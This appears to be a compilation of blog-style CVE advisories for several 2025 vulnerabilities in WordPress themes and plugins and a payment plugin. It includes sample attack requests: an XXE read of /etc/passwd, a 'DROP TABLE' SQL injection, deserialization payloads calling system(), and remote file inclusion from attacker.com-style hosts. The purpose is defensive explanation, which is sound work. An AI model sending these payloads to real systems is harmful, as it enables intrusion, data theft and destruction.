Author: Ameeba

Overview

The digital world is a vast, interconnected ecosystem where even the smallest vulnerability can lead to cataclysmic results. One such vulnerability has been found lurking in the Pixelgrade Category Icon, marked by the CVE identification code: CVE-2025-31039. This vulnerability involves improper restriction of XML External Entity (XXE) reference, which opens up a doorway for potential system compromise or data leakage.
This vulnerability has a significant impact on all systems running the Category Icon plugin from Pixelgrade, versions up to and including 1.0.2. It’s of paramount importance for cybersecurity experts, system administrators, and users alike, as its exploitation can lead to severe security breaches and potential data loss.

Vulnerability Summary

CVE ID: CVE-2025-31039
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Pixelgrade Category Icon | up to 1.0.2

How the Exploit Works

The vulnerability CVE-2025-31039 is an XML External Entity (XXE) vulnerability, which occurs when an application processes XML data containing a reference to an external entity. This can lead to disclosure of confidential data, denial of service, server-side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
In this case, the Pixelgrade Category Icon plugin does not properly restrict the processing of XML external entities, allowing an attacker to read sensitive data from the system or interact with any back-end or external systems that the application can access.

Conceptual Example Code

Below is a conceptual example of a malicious XML payload that could exploit this vulnerability:

POST /pixelgrade-icon HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<!DOCTYPE exploit [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<pixelgrade-icon>
<icon>&xxe;</icon>
</pixelgrade-icon>

In this hypothetical example, the attacker sends a POST request with a malicious XML payload. The payload includes an external entity (`xxe`) that references a sensitive file on the system (`/etc/passwd`). The application then processes the XML data, including the external entity, thereby sending the contents of the sensitive file back in the response.

Overview

The cybersecurity realm has yet again been hit by a critical vulnerability, CVE-2025-31059, affecting woobewoo WBW Product Table PRO. This vulnerability revolves around the improper neutralization of special elements used in an SQL command, thus opening the door for SQL Injection attacks. Any organization or individual utilizing the WBW Product Table PRO, especially versions up to 2.1.3, is at risk of system compromise and data leakage. With the severity score standing at 9.3, the urgency to address this vulnerability cannot be overstated.

Vulnerability Summary

CVE ID: CVE-2025-31059
Severity: Critical (9.3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

woobewoo WBW Product Table PRO | up to 2.1.3

How the Exploit Works

The vulnerability originates from the application’s mishandling and neutralization of special elements used in SQL commands. An attacker can leverage this weakness to manipulate SQL statements sent by the application to its backend database. By injecting malicious SQL commands, an attacker can influence database queries and potentially gain unauthorized access to sensitive data, manipulate data, or execute administrative operations on the database.

Conceptual Example Code

The following pseudocode demonstrates a conceptual example of how this vulnerability might be exploited:

GET /product_table_pro/query?param='; DROP TABLE users; -- HTTP/1.1
Host: vulnerable.site.com

In this conceptual example, the attacker manipulates the ‘param’ value in the HTTP request to inject a malicious SQL command (`DROP TABLE users;`). This command, if executed, would result in the deletion of the ‘users‘ table from the database.

Recommendations

The immediate recommended mitigation is to apply the vendor-provided patch. If for any reason the patch cannot be applied immediately, as a temporary measure, it is advised to deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent SQL Injection attacks. Always remember that such temporary measures do not fully eliminate the risk, and the patch must be applied as soon as possible.

Overview

In 2025, a critical cybersecurity vulnerability, identified as CVE-2025-31398, emerged in themeton PIMP – Creative MultiPurpose, a widely used creative multipurpose software. This vulnerability originates from a deserialization issue of untrusted data, which paves the way for object injection attacks. The vulnerability is of high significance due to its severity score of 9.8, indicating its potential to cause severe damage, including system compromise, data leakage, and potential disruption of services.

Vulnerability Summary

CVE ID: CVE-2025-31398
Severity: Critical, CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

themeton PIMP – Creative MultiPurpose | n/a through 1.7

How the Exploit Works

The vulnerability, CVE-2025-31398, is a deserialization of untrusted data vulnerability, allowing attackers to inject malicious objects into the system. The vulnerability occurs when an application deserializes untrusted data without proper validation and sanitization. The attacker can manipulate the serialized object to include arbitrary function calls or operations, which will be executed when the object is deserialized.

Conceptual Example Code

The following conceptual example illustrates how an attacker might exploit this vulnerability using a malicious serialized object.

POST /themeton_PIMP_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/serialized-object
{
"object": {
"_type": "InjectedObject",
"_values": {
"malicious_function": {
"_type": "FunctionCall",
"name": "system",
"arguments": ["payload.exe --execute"]
}
}
}
}

In this example, the attacker sends a serialized object containing a malicious function call to the themeton PIMP endpoint. When the system deserializes the object, it executes the malicious function, leading to a potential system compromise.

How to Mitigate the Vulnerability

The recommended mitigation strategy for CVE-2025-31398 is to apply the vendor patch as soon as it becomes available. Until the patch is available, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block or detect attempts to exploit this vulnerability. Additionally, it is advisable to ensure all data is properly validated and sanitized before deserialization to prevent potential object injection attacks.

Overview

In the evolving landscape of cybersecurity, even a robust platform like WordPress isn’t immune to vulnerabilities. A notable issue has been found in Themeton FLAP – Business WordPress Theme that could potentially compromise the system or lead to data leakage. This vulnerability, known as CVE-2025-31396, allows for object injection through the deserialization of untrusted data. Given the widespread use of WordPress for business websites, this vulnerability could potentially expose a significant number of systems to risk.

Vulnerability Summary

CVE ID: CVE-2025-31396
Severity: Critical, with a CVSS score of 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and potential data leakage

Affected Products

Product | Affected Versions

Themeton FLAP – Business WordPress Theme | n/a through 1.5

How the Exploit Works

The vulnerability originates from the insecure deserialization of untrusted data. In a nutshell, serialization is the process of converting an object state to a byte stream, and deserialization is the reverse process. When an application deserializes untrusted data without proper validation, it can lead to an object injection attack. In this case, an attacker can manipulate the serialized data to inject malicious objects or other payloads, leading to arbitrary code execution.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example is purely representative and not a real exploit.

POST /wp-content/themes/flap/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"object": {
"__type": "Type1",
"property1": "value1",
"property2": {
"__type": "Type2",
"property1": "value2",
"property2": "base64_encoded_malicious_object"
}
}
}

In this example, base64_encoded_malicious_object is a malicious serialized object. When the server deserializes this object, it could lead to arbitrary code execution.

Mitigation Guidance

In order to mitigate this vulnerability, users are advised to apply the vendor-provided patch. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. However, this should only be seen as a stopgap measure, and users should still apply the vendor patch as soon as possible to fully address the vulnerability.

Overview

The cybersecurity world faces a new threat in the form of the CVE-2025-31052 vulnerability. This vulnerability affects the popular web theme, “The Fashion – Model Agency One Page Beauty Theme,” widely used in the fashion and modeling industry. The vulnerability lies in its deserialization of untrusted data, allowing potential object injection. The severity of this flaw is high, with a CVSS score of 9.8, placing it towards the upper end of the severity scale. This vulnerability has significant implications for user data security, potentially leading to system compromise or data leakage if exploited.

Vulnerability Summary

CVE ID: CVE-2025-31052
Severity: Critical, CVSS score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

The Fashion – Model Agency One Page Beauty Theme | Through version 1.4.4

How the Exploit Works

This exploit takes advantage of the program’s insecure deserialization process. In essence, when the application deserializes untrusted data, it allows an attacker to manipulate that data in a way that can result in object injection. This flaw can be exploited remotely by an attacker to execute arbitrary code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability using a malicious payload in an HTTP request:

POST /theme-data/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{ serialized_object_with_arbitrary_code }" }

In this example, “serialized_object_with_arbitrary_code” would be a serialized object containing the attacker’s malicious code. When the application deserializes this payload, it could lead to arbitrary code execution.
To mitigate this vulnerability, users are advised to apply the vendor’s patch as soon as possible. If that is not feasible immediately, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy. This will not completely eliminate the risk, but it could help to reduce the potential impact while a more permanent solution is implemented.

Overview

Today we explore a critical security vulnerability tagged as CVE-2025-31022. This vulnerability affects the PayU India payment platform, a widely used service for online transactions. The vulnerability, dubbed an Authentication Bypass Using an Alternate Path or Channel, allows potential attackers to abuse the authentication mechanisms of the platform, posing a grave threat to user data integrity and system security. The severity of this vulnerability underscores the importance of robust security practices and the need for continuous vigilance in identifying and mitigating such threats.

Vulnerability Summary

CVE ID: CVE-2025-31022
Severity: Critical (9.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

PayU India | n/a through 3.8.5

How the Exploit Works

The vulnerability stems from an oversight in the authentication flow of PayU India. Specifically, there exists an alternate path or channel that bypasses the standard authentication process. An attacker can exploit this loophole to gain unauthorized access to user accounts and possibly the underlying system. Given the nature of PayU India as a payment platform, this could lead to unauthorized transactions, data leakage, or even a full system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, using a hypothetical HTTP request:

POST /alternate_auth_path HTTP/1.1
Host: payuindia.example.com
Content-Type: application/json
{
"user_id": "target_user",
"skip_auth": true
}

In this hypothetical scenario, the attacker sends a POST request to an alternate authentication path (`/alternate_auth_path`). The `user_id` is set to the targeted user’s ID, and `skip_auth` is set to true. If the system is vulnerable, this could bypass the normal authentication process and grant the attacker access to the target user’s account.
Please note that the above is a conceptual example and may not directly apply to the actual PayU India system. It is meant to illustrate the general idea of how an authentication bypass vulnerability could be exploited.

Recommendation

PayU India users are strongly advised to apply the vendor-supplied patch immediately to mitigate this vulnerability. If applying the patch is not immediately feasible, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. However, these should not be seen as long-term solutions, and patch application should be prioritized.

Overview

The CVE-2025-27362 vulnerability is a significant security flaw affecting the BZOTheme Petito, predominantly used in various web-based applications. This vulnerability arises due to the improper control of filename for Include/Require Statement in the PHP Program, a condition also known as ‘PHP Remote File Inclusion.’ If exploited, this vulnerability could lead to potential system compromise or data leakage, posing a severe risk to users’ data and privacy. It is of crucial importance for developers and system administrators to understand this vulnerability, its implications, and the steps needed to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-27362
Severity: High (8.1 CVSS v3)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme Petito | n/a through 1.6.2

How the Exploit Works

The CVE-2025-27362 vulnerability arises when an attacker manipulates the filename in the Include/Require statement in the PHP program. This manipulation can allow an attacker to load a remote file in place of the intended local file. As a result, the attacker’s remote file is executed on the server, potentially leading to unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Below is a
conceptual
example of how this vulnerability might be exploited:

<?php
// The following include statement is vulnerable
include($_GET['filename'] . '.php');
?>

In this conceptual example, an attacker could manipulate the ‘filename’ GET parameter to point to a remote file. The attacker could craft a URL like:

GET /vulnerable_page.php?filename=http://malicious.example.com/malicious_file HTTP/1.1
Host: target.example.com

This request would cause the server to include and execute the malicious file hosted on `http://malicious.example.com/malicious_file.php`, leading to potential system compromise or data leakage.

Recommended Mitigations

The best course of action to mitigate the risk posed by the CVE-2025-27362 vulnerability is to apply the patch provided by the vendor. In cases where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help block or alert administrators about potentially malicious activity. However, these are not long-term solutions and should be used in conjunction with other security measures.

Overview

The vulnerability we are focusing on in this post is a critical one, identified as CVE-2025-26592, which originates from an improper control of filename for include/require statement in PHP program, more commonly known as ‘PHP Remote File Inclusion’. This vulnerability resides in AncoraThemes Inset, a widely used WordPress theme. This vulnerability matters due to the potential system compromise or data leakage it presents, which could lead to unauthorized access to sensitive information or even total control over the affected system. The severity of the issue, combined with the popularity of the affected software, makes addressing this vulnerability an urgent task for those utilizing AncoraThemes Inset.

Vulnerability Summary

CVE ID: CVE-2025-26592
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

AncoraThemes Inset | Up to and including 1.18.0

How the Exploit Works

The exploit takes advantage of the improper control of filename for include/require statement in PHP within AncoraThemes Inset. This allows an attacker to manipulate the file path that’s passed to these PHP include/require functions, which can then be used to include files from remote servers. This remote file inclusion (RFI) vulnerability provides an opportunity for an attacker to execute arbitrary code on the server, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. In this case, an HTTP request is used to pass a malicious file path to the server:

GET /path/to/vulnerable/script.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable.example.com

In this example, the ‘file’ parameter in the URL is manipulated to include a file from an attacker-controlled server (‘attacker.com’). The content of ‘malicious_script.txt’ would then be executed on the vulnerable server.

Mitigation Guidance

The recommended mitigation action for this vulnerability is to apply the vendor’s patch. In cases where immediate patching is not possible, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these methods can only reduce the risk and not fully eliminate it; applying the vendor’s patch should be the ultimate goal to resolve the vulnerability.

Overview

A critical vulnerability, identified as CVE-2025-24770, has been discovered in BZOTheme CraftXtore. This vulnerability stems from the improper control of filename for Include/Require Statement in PHP Program, also known as ‘PHP Remote File Inclusion’. This vulnerability allows for PHP Local File Inclusion, posing a substantial threat to the security of systems running this software. Given that CraftXtore is widely used for e-commerce stores, the impact of this vulnerability is potentially significant, making it essential for system administrators and cybersecurity professionals to understand and address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-24770
Severity: Critical (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

BZOTheme CraftXtore | Up to and including 1.7

How the Exploit Works

The CVE-2025-24770 vulnerability allows attackers to include files from local or external resources, leading to the execution of arbitrary code. This is possible due to the improper control of filename for Include/Require Statement in PHP Program. Essentially, an attacker can manipulate the input to these PHP functions to include a file that resides outside the intended directories, leading to the execution of malicious code.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the attacker has manipulated the `file` parameter value to include a malicious PHP script (`malicious_script.txt`) hosted on their server (`attacker.com`). When the server processes this request, it includes the malicious script, executing it and potentially leading to system compromise or data leakage.

Mitigation and Prevention

The most effective way to mitigate this vulnerability is by applying the vendor patch. For those unable to immediately apply the patch, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these should not replace the need for patching. Regularly updating and patching software is a fundamental part of maintaining a secure IT environment.
Remember, prevention is always better than cure, especially when it comes to cybersecurity. Stay safe!

Overview

CVE-2025-24768 is a critical vulnerability concerning PHP Remote File Inclusion (RFI) in snstheme Nitan. This vulnerability primarily affects PHP developers, website administrators, and businesses utilizing snstheme Nitan versions up to 2.9. The exploitation of this vulnerability can lead to potential system compromise or data leakage, posing a serious threat to data privacy and system integrity.

Vulnerability Summary

CVE ID: CVE-2025-24768
Severity: Critical (8.1/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

snstheme Nitan | up to and including 2.9

How the Exploit Works

The vulnerability arises from the improper control of filename for the include/require statement in the PHP program of snstheme Nitan. This allows an attacker to include local files from the server or remote files from any location. The attacker sends a specially crafted request to the server, manipulating the path of the included file. If successful, this enables the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This example is an HTTP request where the attacker alters the file path parameter to point to a malicious PHP file on a remote server.

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

Countermeasures and Mitigation

As a countermeasure, users of snstheme Nitan are advised to apply the vendor-supplied patch immediately. If the patch cannot be applied immediately, users should consider using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy to detect and block attempts to exploit this vulnerability.
In the long term, developers should follow best practices for secure coding to prevent such vulnerabilities. This includes validating all input, especially those used in file include operations, and avoiding the use of user-supplied input to construct file paths without proper sanitization and validation.